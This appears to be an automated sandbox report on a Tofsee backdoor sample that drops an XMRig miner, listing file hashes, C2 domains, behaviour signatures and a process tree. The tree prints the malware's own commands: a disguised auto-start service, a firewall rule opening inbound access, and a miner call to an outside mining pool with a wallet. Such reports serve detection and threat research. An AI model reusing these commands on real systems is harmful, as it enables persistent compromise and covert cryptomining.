Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230703-en
  • resource tags

    arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
  • submitted
    04/07/2023, 12:56

General

  • Target

    3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db.exe

  • Size

    198KB

  • MD5

    7b319155d681ac4750a7162e532af1dc

  • SHA1

    6ce6543606ac9eb445874280fe2b46014ef4da60

  • SHA256

    3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db

  • SHA512

    37a63ead65b9706689cd31a03736e46d85e19b7957870f45ed11c0e2b7d647542208eca269d3292dc8aa3fe3af73b7bbd39eb986b0e45f567277ed8b8d404cea

  • SSDEEP

    3072:3NuULXLhffflMBjRa6sHHbwvWTGEaYLBRJrQIzbY/l1PR580D5lTwQh:9/LXLNfl8RaDHHbrRkWYfR58oTwS

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db.exe
    "C:\Users\Admin\AppData\Local\Temp\3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:568
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ndoumlb\
      2⤵
        PID:3048
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ziozxme.exe" C:\Windows\SysWOW64\ndoumlb\
        2⤵
          PID:2360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ndoumlb binPath= "C:\Windows\SysWOW64\ndoumlb\ziozxme.exe /d\"C:\Users\Admin\AppData\Local\Temp\3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2404
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ndoumlb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ndoumlb
          2⤵
          • Launches sc.exe
          PID:1456
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1628
      • C:\Windows\SysWOW64\ndoumlb\ziozxme.exe
        C:\Windows\SysWOW64\ndoumlb\ziozxme.exe /d"C:\Users\Admin\AppData\Local\Temp\3fca66d3dd218bf116c8a29953a2556c02f229353f61ab87bbfb10b9628b60db.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2584

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ziozxme.exe

        Filesize

        10.3MB

        MD5

        a0059d390ccb9fe4acbd62803927afda

        SHA1

        816bee0e3c4cb02a332ae6746e60e0d20d58f032

        SHA256

        b4d5a65ac221f5185ed5465d49cf69fa5447651e151cdb20bfe2e8c4268b4748

        SHA512

        d09a368a1b1f68c4339f46f80672d756420e4f906aea36af746a2e7d0d947d280e53f90dbd3bbfa149d10fbb88ab6b0407a614d4c02f7ff81b5699ff5c7ae8d4

      • C:\Windows\SysWOW64\ndoumlb\ziozxme.exe

        Filesize

        10.3MB

        MD5

        a0059d390ccb9fe4acbd62803927afda

        SHA1

        816bee0e3c4cb02a332ae6746e60e0d20d58f032

        SHA256

        b4d5a65ac221f5185ed5465d49cf69fa5447651e151cdb20bfe2e8c4268b4748

        SHA512

        d09a368a1b1f68c4339f46f80672d756420e4f906aea36af746a2e7d0d947d280e53f90dbd3bbfa149d10fbb88ab6b0407a614d4c02f7ff81b5699ff5c7ae8d4

      • memory/564-88-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-101-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/564-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/564-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/564-71-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/564-74-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/564-75-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/564-78-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-81-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-82-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-83-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-84-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-85-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-86-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-87-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-90-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-105-0x0000000005450000-0x000000000585B000-memory.dmp

        Filesize

        4.0MB

      • memory/564-89-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-91-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-92-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-93-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-94-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-95-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-96-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-97-0x00000000001F0000-0x0000000000200000-memory.dmp

        Filesize

        64KB

      • memory/564-98-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/564-106-0x0000000000360000-0x0000000000367000-memory.dmp

        Filesize

        28KB

      • memory/564-102-0x0000000005450000-0x000000000585B000-memory.dmp

        Filesize

        4.0MB

      • memory/568-56-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/568-60-0x0000000000400000-0x0000000000473000-memory.dmp

        Filesize

        460KB

      • memory/2584-111-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-112-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-120-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-119-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-121-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-122-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-123-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2584-124-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2860-65-0x0000000000400000-0x0000000000473000-memory.dmp

        Filesize

        460KB